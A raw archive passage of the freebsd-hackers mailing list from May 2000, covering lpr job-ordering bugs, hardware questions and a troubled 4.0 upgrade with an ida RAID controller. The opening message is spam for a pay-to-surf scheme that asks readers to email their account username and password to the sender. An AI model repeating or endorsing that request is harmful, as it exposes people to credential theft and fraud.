linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Date: Tue, 2 May 2000 23:27:04 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: QUOTED-PRINTABLE Subject: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE X-mailer: Pegasus Mail for Win32 (v3.12b) Message-Id: <20000503033321.ZLXH1339.mtiwmhc21.worldnet.att.net@default> X-Loop: majordomo@vger.rutgers.edu X-Orcpt: rfc822;linux-config-outgoing Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG WILL SURF FOR YOU, JUST FOR FILLING OUT A SMALL FORM Do you realize how valuable you are as an Internet user? Did you=20 know that you can be paid when you=92re on the Web? AND off the=20 WEB!!!!!! Interested? Become an AllAdvantage.com member now!=20 It's free to join and your privacy is completely protected. Check out=20 these impressive facts:=20 They've paid over $10 million to members in the US, UK and=20 Canada in the last three months alone;=20 Now they're paying members in France, Germany, Australia, New=20 Zealand and the US territories, too -- more countries coming soon;=20 Later this month all members will be able to purchase anti-virus=20 software at a significant discount through their AllAdvantage=20 accounts;=20 Soon they're releasing Viewbars to Mac users, making=20 AllAdvantage one of the first Viewbar companies to do so;=20 They've developed and soon will release an upgraded version of the=20 Viewbar software that's equipped with instant search capability,=20 convenient quicklinks to the Web's most popular sites, and of=20 course, pays you to surf!=20 It takes only minutes to join, download the free AllAdvantage.com=20 Viewbar software, and start surfing the Web with the Viewbar on=20 your screen. But You DON'T even need the Veiw Bar cause I have=20 a program that eliminates that all and all you have to do "After you=20 sign up" is Email me YOUR USER NAME and PASSWORD so I=20 CAN START SURFING THE WEB FOR YOU SO YOU CAN=20 START MAKING MONEY. You don't even have to download the=20 veiw bar you are done with alladvantage once you sign up and give=20 me your user name and password. You can earn even more when=20 you tell your friends about it. Really! It's all about becoming part of= =20 a community that finally recognizes our value as consumers.=20 Join now (there's no survey to fill out) at=20 http://www.alladvantage.com/home.asp?refid=3DLZG150 and please=20 use my membership ID (LZG-150) when asked if you were referred=20 by someone. And http://cheetahtech.cjb.net Thanks a lot and happy surfing!=20 Scott Pio Member ID# LZG-150 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 5:58: 5 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id 60DF537B7CF for ; Wed, 3 May 2000 05:57:58 -0700 (PDT) (envelope-from cdillon@wolves.k12.mo.us) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id HAA02022; Wed, 3 May 2000 07:56:35 -0500 (CDT) (envelope-from cdillon@wolves.k12.mo.us) Date: Wed, 3 May 2000 07:56:34 -0500 (CDT) From: Chris Dillon To: Dan Nelson Cc: Konrad Heuer , Lorenzo Iania , freebsd-hackers@FreeBSD.ORG Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests In-Reply-To: <20000502174713.A14919@dan.emsphone.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 2 May 2000, Dan Nelson wrote: > In the last episode (May 02), Chris Dillon said: > > On Tue, 2 May 2000, Konrad Heuer wrote: > > > Hmm, I've never seen such a strange behaviour. Lpd should do FIFO. > > > Could you give some more infos about your environment (os release, > > > input filter program, printer type)? > > Aha. Yes, it _does_ do FIFO, but if you look at the source, the queue > sorting routine simply sorts on stat(mtime) of the queue file, so jobs > submitted in the same second will sort randomly. A quick fix would be > to sleep for 1 second between "lpr" calls. That isn't the problem. You can sleep as much as you want between submitting the print jobs and the job order still gets munged. Even a job that at one time had #1 rank gets inverted and ends up with the lowest rank. I even modified common.c (a shot in the dark, I had no idea what I was doing, really) to check for modtime with st_mtimespec.tv_nsec for nsec modtime resolution, and that didn't change the behaviour any. It appears that qsort() is the culprit. In fact, here is an excerpt from the manpage: The functions qsort() and heapsort() are not stable, that is, if two mem- bers compare as equal, their order in the sorted array is undefined. The function mergesort() is stable. You would think that with nsec modtime resolution, the chance of two jobs having equal sort criteria is slim to none, so most likely I didn't do the modtime change correctly. I wonder if we can work mergesort() in there somehow. I also notice that the job numbers assigned to the jobs are sequential, so maybe that can be a sort criteria as well. I'm just being a detective, but I'm not a C programmer, so don't look at me. :-) -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet. For Intel x86 and Alpha architectures. ( http://www.freebsd.org ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 6:17:45 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mailg.telia.com (mailg.telia.com [194.22.194.26]) by hub.freebsd.org (Postfix) with ESMTP id D46CB37BB81; Wed, 3 May 2000 06:17:30 -0700 (PDT) (envelope-from stefan@syprix.se) Received: from d1o49.telia.com (d1o49.telia.com [195.198.194.241]) by mailg.telia.com (8.9.3/8.9.3) with ESMTP id PAA17499; Wed, 3 May 2000 15:17:25 +0200 (CEST) Received: from prutten (t2o79p112.telia.com [62.20.200.232]) by d1o49.telia.com (8.8.8/8.8.8) with SMTP id PAA18430; Wed, 3 May 2000 15:17:24 +0200 (CEST) Message-ID: <001101bfb503$1201cb20$070ba8c0@syprix.com> From: "Stefan Lindgren" To: Cc: , Subject: Epox Dual MB... Date: Wed, 3 May 2000 15:25:37 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_000E_01BFB513.D4FB2C60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_000E_01BFB513.D4FB2C60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, Does anybody have experience with this Epox MB? http://www.epox.com/html/english/products/motherboard/ep-bxb-s.htm 1 GB Ram 2 Pentium III Slot 1 650 MHz Matrox Mill G400 360 Ramdac UW SCSI I'm planning to run 4.0-RELEASE. Also, if anybody have experience with FBSD and a Raid(HW) solution for 300 - 500 GB I should be delighted to share his/hers toughts e t c. It's going to run a Web hotel with *all* fancy stuff... Regards /Stefan ------=_NextPart_000_000E_01BFB513.D4FB2C60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello,
 
Does anybody have experience with this = Epox=20 MB?
http://www.epox.com/html/english/products/motherboard/ep-bxb-s.htm=
 
1 GB Ram
2 Pentium III Slot 1 650 = MHz
Matrox Mill G400 360 = Ramdac
UW SCSI
 
I'm planning to run = 4.0-RELEASE.
 
Also, if anybody have experience with = FBSD and a=20 Raid(HW) solution for
300 - 500 GB I should be delighted to = share=20 his/hers toughts e t c.
 
It's going to run a Web hotel with = *all* fancy=20 stuff...
 
 
Regards
 
 
/Stefan
------=_NextPart_000_000E_01BFB513.D4FB2C60-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 6:49:57 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mimer.webgiro.com (mimer.webgiro.com [212.209.29.5]) by hub.freebsd.org (Postfix) with ESMTP id 8104F37B9B9; Wed, 3 May 2000 06:49:52 -0700 (PDT) (envelope-from abial@webgiro.com) Received: by mimer.webgiro.com (Postfix, from userid 66) id 58E332DC0C; Wed, 3 May 2000 15:53:11 +0200 (CEST) Received: by mx.webgiro.com (Postfix, from userid 1001) id 2D2FD7811; Wed, 3 May 2000 15:48:03 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mx.webgiro.com (Postfix) with ESMTP id 2848510E17; Wed, 3 May 2000 15:48:03 +0200 (CEST) Date: Wed, 3 May 2000 15:48:03 +0200 (CEST) From: Andrzej Bialecki To: "Eric D. Futch" Cc: Dan Moschuk , hackers@FreeBSD.ORG Subject: Re: Toshiba 4260 screen problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 2 May 2000, Eric D. Futch wrote: > I recall someone on the freebsd-mobile mailing list having a similar > problem. What I told them to try was using options VESA in their > kernel config or use the vesa.ko kernel module. I looked at it a little > more closely and it appears that you might also need the SC_PIXEL_MODE > option in your kernel config to get raster text mode to work. > > After you have that in your kernel then you can use vidcontrol to change > the video mode to VESA_800x600 for 800x600 raster text mode. They seemed > to be happy with the results. > > Try it out and let me know wether or not it was helpful. I have Portege 7020CT. The problem you describe (if I read it correctly) might be related to the display setting in BIOS (Stretch enabled). However, the stretching is implemented in very weird way - the screen font in normal 80x25 mode is a bit ugly, so I use 80x43 with small font all the time. It looks ok, and gives you additional lines as well.. :-) Andrzej Bialecki // WebGiro AB, Sweden (http://www.webgiro.com) // ------------------------------------------------------------------- // ------ FreeBSD: The Power to Serve. http://www.freebsd.org -------- // --- Small & Embedded FreeBSD: http://www.freebsd.org/~picobsd/ ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 7:22: 7 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from dan.emsphone.com (dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (Postfix) with ESMTP id 0A9D537BD66 for ; Wed, 3 May 2000 07:22:03 -0700 (PDT) (envelope-from dan@dan.emsphone.com) Received: (from dan@localhost) by dan.emsphone.com (8.9.3/8.9.3) id JAA28900; Wed, 3 May 2000 09:21:44 -0500 (CDT) (envelope-from dan) Date: Wed, 3 May 2000 09:21:44 -0500 From: Dan Nelson To: Chris Dillon Cc: Konrad Heuer , Lorenzo Iania , freebsd-hackers@FreeBSD.ORG Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests Message-ID: <20000503092144.B27366@dan.emsphone.com> References: <20000502174713.A14919@dan.emsphone.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.1.12i In-Reply-To: ; from "Chris Dillon" on Wed May 3 07:56:34 GMT 2000 X-OS: FreeBSD 5.0-CURRENT Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In the last episode (May 03), Chris Dillon said: > On Tue, 2 May 2000, Dan Nelson wrote: > > Aha. Yes, it _does_ do FIFO, but if you look at the source, the > > queue sorting routine simply sorts on stat(mtime) of the queue > > file, so jobs submitted in the same second will sort randomly. A > > quick fix would be to sleep for 1 second between "lpr" calls. > > That isn't the problem. You can sleep as much as you want between > submitting the print jobs and the job order still gets munged. Even If this is the case, then using mtime at all is wrong. You sure waiting 1 second between submissions doesn't work? > a job that at one time had #1 rank gets inverted and ends up with the > lowest rank. I even modified common.c (a shot in the dark, I had no > idea what I was doing, really) to check for modtime with > st_mtimespec.tv_nsec for nsec modtime resolution, and that didn't > change the behaviour any. I checked, and fstat() always puts zeros in the nsec fields, either because ffs doesn't store them, or for some other reason. > It appears that qsort() is the culprit. In fact, here is an excerpt > from the manpage: > > The functions qsort() and heapsort() are not stable, that is, if > two mem- bers compare as equal, their order in the sorted array > is undefined. The function mergesort() is stable. This doesn't help, since you can't guarantee that the files are in order in the directory, either. I think someone posted a better solution, which would be sorting by mtime, and when mtime is identical, sort by job number in the filename. You can't simply sort by filename because that would break "lpc topq". -- Dan Nelson dnelson@emsphone.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 7:31: 5 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rpi.edu (mail.rpi.edu [128.113.100.7]) by hub.freebsd.org (Postfix) with ESMTP id 80D4937B992 for ; Wed, 3 May 2000 07:30:59 -0700 (PDT) (envelope-from drosih@rpi.edu) Received: from [128.113.24.47] (gilead.acs.rpi.edu [128.113.24.47]) by mail.rpi.edu (8.9.3/8.9.3) with ESMTP id KAA372354; Wed, 3 May 2000 10:30:46 -0400 Mime-Version: 1.0 X-Sender: drosih@mail.rpi.edu Message-Id: In-Reply-To: References: Date: Wed, 3 May 2000 10:30:43 -0400 To: Chris Dillon , Dan Nelson From: Garance A Drosihn Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests Cc: freebsd-hackers@FreeBSD.ORG Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 7:56 AM -0500 5/3/00, Chris Dillon wrote: >That isn't the problem. You can sleep as much as you want between >submitting the print jobs and the job order still gets munged. >Even a job that at one time had #1 rank gets inverted and ends up >with the lowest rank. He's saying that you could work around the problem if the EARLIER jobs had used a sleep between them, ie, so they do not have the same last-mod time. If they do not match, then the order will not get confused when later jobs arrive. What he is saying is correct, even though it is not very useful in practice... (his work-around would have helped Lorenzo, but it is not practical for your samba-server example). >It appears that qsort() is the culprit. In fact, here is an >excerpt from the manpage: > > The functions qsort() and heapsort() are not stable, that is, > if two members compare as equal, their order in the sorted > array is undefined. The function mergesort() is stable. > With the update I made, the sort will be stable because the two filenames will not be equal. Please try the update at: http://www.freebsd.org/cgi/query-pr.cgi?pr=18361 [PATCH] Fix for queue-ordering problem in lpr/lpd/lpq or pick up the update from: ftp://freefour.acs.rpi.edu/pub/bsdlpr/lpr_qfix.diff --- Garance Alistair Drosehn = gad@eclipse.acs.rpi.edu Senior Systems Programmer or drosih@rpi.edu Rensselaer Polytechnic Institute To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 8:41:28 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from defiant.quansoo.com (defiant.quansoo.com [63.66.225.90]) by hub.freebsd.org (Postfix) with ESMTP id 73B5037B770 for ; Wed, 3 May 2000 08:41:22 -0700 (PDT) (envelope-from cgriffiths@quansoo.com) Received: from localhost (cgriffiths@localhost) by defiant.quansoo.com (8.9.3/8.9.3) with ESMTP id LAA01911 for ; Wed, 3 May 2000 11:41:27 -0400 (EDT) (envelope-from cgriffiths@quansoo.com) X-Authentication-Warning: defiant.quansoo.com: cgriffiths owned process doing -bs Date: Wed, 3 May 2000 11:41:27 -0400 (EDT) From: "Christopher T. Griffiths" To: freebsd-hackers@freebsd.org Subject: Upgrade from 3.4 to 4.0 with ida driver Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/Mixed; BOUNDARY="0-234367553-957307971=:6490" Content-ID: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --0-234367553-957307971=:6490 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: I sent this to freebsd-questions with no luck. I am desperately trying to figure out this problem. Any help would be appreciated. Thanks Chris --- Christopher T. Griffiths Engineering Department Quansoo Group Inc. cgriffiths@quansoo.com Hello everyone, I have been working for a good part of the day trying to get my compaq system upgraded from 3.4 -stable to 4.0 -stable. I am using the following hardware: Compaq Proliant 1850R Server Smart Array 3200 Controller 1 Raid 1 array I have been running 3.4 for several months on this system with zero problems. I have followed all of the Instructions in the Updating file and setup a custom kernel configured to use the ata and ida drivers (attached). There is only one problem: I am getting the following on bootup when the kernel boots and tries to change to the root device I get the following: ta0-slave: ata_command: timeout waiting for intr ata0-slave: identify failed acd0: CDROM at ata0-master using PIO4 no devsw (majdev=0 bootdev=0xa0200000) Mounting root from ufs:/dev/idad0a no such device 'idad' setrootbyname failed ffs_mountroot: can't find rootvp Root mount failed: 6 Manual root filesystem specification: : Mount using filesystem eg. ufs:/dev/da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:/dev/id0a / Mounting root from ufs:/dev/id0a / My /etc/fstab contains the following: # Device Mountpoint FStype Options Dump Pass# /dev/idad0b none swap sw 0 0 /dev/idad0a / ufs rw 1 1 /dev/idad0f /usr ufs rw 2 2 /dev/idad0e /var ufs rw 2 2 proc /proc procfs rw 0 0 I have tried rebuilding the bootloader but no luck. It seems that when I imput /dev/id0a into mountroot prompt it then mounts root and changes over to /dev/idad0a which is in my fstab. The funny thing is that there is no /dev/id0a in /dev and it will not allow me to build it either. I also posted a much more crazy post earlier but have since fixed most of the problems except this one. Any help would be appreciated. Thanks Chris --- Christopher T. Griffiths Engineering Department Quansoo Group Inc. cgriffiths@quansoo.com --0-234367553-957307971=:6490 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME=EXCALIBUR Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: ATTACHMENT; FILENAME=EXCALIBUR IyBtYWNoaW5lIGRlZmluaXRpb25zDQptYWNoaW5lCQlpMzg2DQpjcHUJCUk2 ODZfQ1BVDQppZGVudAkJRVhDQUxJQlVSDQptYXh1c2VycwkxMDANCg0KIyBr ZXJuZWwgb3B0aW9ucw0Kb3B0aW9ucyAgICAgICAgIE1BVEhfRU1VTEFURSAg ICAgICAgICAgICNTdXBwb3J0IGZvciB4ODcgZW11bGF0aW9uDQpvcHRpb25z ICAgICAgICAgRElBR05PU1RJQw0Kb3B0aW9ucyAgICAgICAgIFVDT05TT0xF DQpvcHRpb25zICAgICAgICAgVVNFUkNPTkZJRw0Kb3B0aW9ucyAgICAgICAg IEtUUkFDRSAgICAgICAgICAgICAgICAgICNrZXJuZWwgdHJhY2luZw0Kb3B0 aW9ucyAgICAgICAgIFRDUF9EUk9QX1NZTkZJTiAgICAgICAgICNkcm9wIFRD UCBwYWNrZXRzIHdpdGggU1lOK0ZJTg0Kb3B0aW9ucyAgICAgICAgIFRDUF9S RVNUUklDVF9SU1QgICAgICAgICNyZXN0cmljdCBlbWlzc2lvbiBvZiBUQ1Ag UlNUDQpvcHRpb25zICAgICAgICAgSUNNUF9CQU5ETElNDQpvcHRpb25zICAg ICAgICAgTUQ1DQoNCiMgY29tcGF0aWJpbGl0eSBvcHRpb25zDQpvcHRpb25z CQlDT01QQVRfNDMNCm9wdGlvbnMJCUlCQ1MyDQoNCiMgc3lzdiBvcHRpb25z DQpvcHRpb25zICAgICAgICAgVVNFUl9MRFQNCm9wdGlvbnMJCVNZU1ZTSE0N Cm9wdGlvbnMJCVNZU1ZTRU0NCm9wdGlvbnMJCVNZU1ZNU0cNCg0KIyBuZXR3 b3JrIG9wdGlvbnMNCm9wdGlvbnMJCUlORVQNCm9wdGlvbnMgCUlORVQ2CQkJ DQoNCiMgZmlsZXN5c3RlbSBvcHRpb25zDQpvcHRpb25zCQlGRlMNCm9wdGlv bnMJCUZGU19ST09UDQpvcHRpb25zICAgICAgICAgTUZTDQpvcHRpb25zCQlT T0ZUVVBEQVRFUw0Kb3B0aW9ucyAgICAgICAgIE5GUw0Kb3B0aW9ucyAgICAg ICAgIE5GU19OT1NFUlZFUg0Kb3B0aW9ucyAgICAgICAgIFBST0NGUw0Kb3B0 aW9ucwkJQ0Q5NjYwDQpvcHRpb25zCQlDRDk2NjBfUk9PVA0Kb3B0aW9ucwkJ TVNET1NGUw0KDQojIFZpZGVvIE9wdGlvbnMNCm9wdGlvbnMgICAgICAgICBW RVNBDQoNCiMgcG9zaXggb3B0aW9ucw0Kb3B0aW9ucwkJUDEwMDNfMUINCm9w dGlvbnMJCV9LUE9TSVhfUFJJT1JJVFlfU0NIRURVTElORw0Kb3B0aW9ucwkJ X0tQT1NJWF9WRVJTSU9OPTE5OTMwOUwNCg0KI1N5c3RlbSBidXMNCmRldmlj ZSAgICAgICAgICBpc2ENCmRldmljZSAgICAgICAgICBlaXNhDQpkZXZpY2Ug ICAgICAgICAgcGNpDQpvcHRpb25zCQlBVVRPX0VPSV8xDQoNCiNrZXlib2Fy ZCBhbmQgbW91c2UNCmRldmljZSAgICAgICAgICBhdGtiZGMwIGF0IGlzYT8g cG9ydCBJT19LQkQNCmRldmljZSAgICAgICAgICBhdGtiZDAgIGF0IGF0a2Jk Yz8gaXJxIDENCmRldmljZSAgICAgICAgICBwc20wICAgIGF0IGF0a2JkYz8g aXJxIDEyDQoNCiNDb25zb2xlDQpkZXZpY2UgICAgICAgICAgdmdhMCAgICBh dCBpc2E/DQpkZXZpY2UgICAgICAgICAgc2MwICAgICBhdCBpc2E/DQoNCiMg RmxvYXRpbmcgcG9pbnQgc3VwcG9ydCAtIGRvIG5vdCBkaXNhYmxlLg0KZGV2 aWNlICAgICAgICAgIG5weDAgICAgYXQgbmV4dXM/IHBvcnQgSU9fTlBYIGly cSAxMw0KDQojIFBvd2VyIG1hbmFnZW1lbnQgc3VwcG9ydCANCmRldmljZSAg ICAgICAgICBhcG0wICAgIA0KDQojIGFwbS9wc20gb3B0aW9ucw0Kb3B0aW9u cwkJUFNNX0hPT0tSRVNVTUUNCm9wdGlvbnMJCVBTTV9SRVNFVEFGVEVSU1VT UEVORA0KDQojIGF0YS9hdGFwaSBjb250cm9sbGVycy9kZXZpY2VzDQpkZXZp Y2UJCWF0YTAJYXQgaXNhPyBwb3J0IElPX1dEMSBpcnEgMTQNCmRldmljZQkJ YXRhMQlhdCBpc2E/IHBvcnQgSU9fV0QyIGlycSAxNQ0KZGV2aWNlICAgICAg ICAgIGF0YQ0KZGV2aWNlICAgICAgICAgIGF0YWRpc2sgICAgICAgICAgICAg ICAgICMgQVRBIGRpc2sgZHJpdmVzDQpkZXZpY2UgICAgICAgICAgYXRhcGlj ZCAgICAgICAgICAgICAgICAgIyBBVEFQSSBDRFJPTSBkcml2ZXMNCmRldmlj ZSAgICAgICAgICBhdGFwaWZkICAgICAgICAgICAgICAgICAjIEFUQVBJIGZs b3BweSBkcml2ZXMNCmRldmljZSAgICAgICAgICBhdGFwaXN0ICAgICAgICAg ICAgICAgICAjIEFUQVBJIHRhcGUgZHJpdmVzDQoNCiMgYXRhcGkgb3B0aW9u cw0Kb3B0aW9ucyAJQVRBX1NUQVRJQ19JRAkJI1N0YXRpYyBkZXZpY2UgbnVt YmVyaW5nDQojb3B0aW9ucyAgICAgICAgIEFUQV9FTkFCTEVfQVRBUElfRE1B DQoNCiMNCiMgU3RhbmRhcmQgZmxvcHB5IGRpc2sgY29udHJvbGxlcnMgYW5k IGZsb3BweSANCmRldmljZSAgICAgICAgICBmZGMwICAgIGF0IGlzYT8gcG9y dCBJT19GRDEgaXJxIDYgZHJxIDINCmRldmljZSAgICAgICAgICBmZDAgICAg IGF0IGZkYzAgZHJpdmUgMA0KDQojIFBhcmFsbGVsIHBvcnQNCmRldmljZSAg ICAgICAgICBwcGMwICAgIGF0IGlzYT8gaXJxIDcNCmRldmljZSAgICAgICAg ICBwcGJ1cyAgICAgICAgICAgIyBQYXJhbGxlbCBwb3J0IGJ1cyAocmVxdWly ZWQpDQpkZXZpY2UgICAgICAgICAgbHB0ICAgICAgICAgICAgICMgUHJpbnRl cg0KZGV2aWNlICAgICAgICAgIHBsaXAgICAgICAgICAgICAjIFRDUC9JUCBv dmVyIHBhcmFsbGVsDQpkZXZpY2UgICAgICAgICAgcHBpICAgICAgICAgICAg ICMgUGFyYWxsZWwgcG9ydCBpbnRlcmZhY2UgZGV2aWNlDQoNCiMgU2VyaWFs IChDT00pIHBvcnRzDQpkZXZpY2UgICAgICAgICAgc2lvMCAgICBhdCBpc2E/ IHBvcnQgSU9fQ09NMSBmbGFncyAweDEwIGlycSA0DQpkZXZpY2UgICAgICAg ICAgc2lvMSAgICBhdCBpc2E/IHBvcnQgSU9fQ09NMiBpcnEgMw0KDQojIEV0 aGVybmV0IE5JQ3MuDQpkZXZpY2UgICAgICAgICAgdGwgICAgICAgICAgICAg ICAgIA0KZGV2aWNlICAgICAgICAgIG1paWJ1cyAgICAgICAgICAgICAgICAg DQoNCiMgQ29tcGFxIEludGVsbGlnZW50IERpc2sgQXJyYXkgQ29udHJvbGxl cg0KIw0KZGV2aWNlICAgICAgICAgIGlkYSAgICAgICAgICAgICAjIENvbXBh cSBTbWFydCBSQUlEDQpkZXZpY2UgICAgICAgICAgaWQgICAgICAgICAgICAg DQoNCiMgcHNldWRvIGRldmljZXMNCnBzZXVkby1kZXZpY2UJZ3ppcA0KcHNl dWRvLWRldmljZQlsb29wDQpwc2V1ZG8tZGV2aWNlICAgZXRoZXINCnBzZXVk by1kZXZpY2UJcHR5CSAgICAgICAgMTYNCnBzZXVkby1kZXZpY2UJdHVuCSAg ICAgICAgMQ0KcHNldWRvLWRldmljZQlicGYJICAgICAgICA0DQpwc2V1ZG8t ZGV2aWNlCXNwbGFzaA0KcHNldWRvLWRldmljZQltZAkJIyBNZW1vcnkgImRp c2tzIg0KcHNldWRvLWRldmljZQlnaWYJNAkjIElQdjYgYW5kIElQdjQgdHVu bmVsaW5nDQpwc2V1ZG8tZGV2aWNlCWZhaXRoCTEJIyBJUHY2LXRvLUlQdjQg cmVsYXlpbmcgKHRyYW5zbGF0aW9uKQ0K --0-234367553-957307971=:6490-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 8:47: 3 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from thehousleys.net (frenchknot.ne.mediaone.net [24.147.224.201]) by hub.freebsd.org (Postfix) with ESMTP id 084C637B825 for ; Wed, 3 May 2000 08:47:00 -0700 (PDT) (envelope-from jim@thehousleys.net) Received: from thehousleys.net (baby.int.thehousleys.net [192.168.0.24]) by thehousleys.net (8.9.3/8.9.3) with ESMTP id LAA76311; Wed, 3 May 2000 11:46:56 -0400 (EDT) Message-ID: <391049F0.EFE7CE66@thehousleys.net> Date: Wed, 03 May 2000 11:46:56 -0400 From: James Housley Organization: The Housleys dot Net X-Mailer: Mozilla 4.72 [en] (X11; U; FreeBSD 3.4-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: "Christopher T. Griffiths" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Upgrade from 3.4 to 4.0 with ida driver References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Christopher T. Griffiths" wrote: > > I sent this to freebsd-questions with no luck. I am desperately trying to > figure out this problem. > > Any help would be appreciated. > Have you looked at this article on DaemonNews ? http://www.daemonnews.org/200003/cpqraid.html Jim -- Do not meddle in the affairs of dragons, for you are crunchy and taste good with ketchup. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 9: 3:23 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from jade.chc-chimes.com (jade.chc-chimes.com [216.28.46.6]) by hub.freebsd.org (Postfix) with ESMTP id C59B237BB37 for ; Wed, 3 May 2000 09:03:19 -0700 (PDT) (envelope-from billf@jade.chc-chimes.com) Received: by jade.chc-chimes.com (Postfix, from userid 1001) id DA8EB1C5C; Wed, 3 May 2000 12:03:18 -0400 (EDT) Date: Wed, 3 May 2000 12:03:18 -0400 From: Bill Fumerola To: "Koster, K.J." Cc: 'FreeBSD Hackers mailing list' Subject: Re: /usr/share/examples/cvsup -> /usr/local/share/examples/cvsup Message-ID: <20000503120318.H86725@jade.chc-chimes.com> References: <59063B5B4D98D311BC0D0001FA7E452201313B59@l04.research.kpn.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <59063B5B4D98D311BC0D0001FA7E452201313B59@l04.research.kpn.com>; from K.J.Koster@kpn.com on Wed, May 03, 2000 at 01:32:56PM +0100 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 03, 2000 at 01:32:56PM +0100, Koster, K.J. wrote: > $ fetch ftp://ftp.freebsd.org/.../cvsup.tgz > $ pkg_add cvsup.tgz $ pkg_add -r cvsup-bin -r figures out the ... magic for you. > $ vi ... -- Bill Fumerola - Network Architect Computer Horizons Corp - CVM e-mail: billf@chc-chimes.com / billf@FreeBSD.org Office: 800-252-2421 x128 / Cell: 248-761-7272 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 9:33:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc1.sfba.home.com (ha1.rdc1.sfba.home.com [24.0.0.66]) by hub.freebsd.org (Postfix) with ESMTP id 6124337BB1F for ; Wed, 3 May 2000 09:33:51 -0700 (PDT) (envelope-from boshea@ricochet.net) Received: from beastie.localdomain ([24.19.158.41]) by mail.rdc1.sfba.home.com (InterMail v4.01.01.00 201-229-111) with ESMTP id <20000503163345.VJO25138.mail.rdc1.sfba.home.com@beastie.localdomain>; Wed, 3 May 2000 09:33:45 -0700 Received: (from brian@localhost) by beastie.localdomain (8.9.3/8.8.7) id JAA45328; Wed, 3 May 2000 09:43:39 -0700 (PDT) (envelope-from brian) Date: Wed, 3 May 2000 09:43:39 -0700 From: "Brian O'Shea" To: Dragos Ruiu Cc: hackers@FreeBSD.ORG Subject: The wrong way to deal with 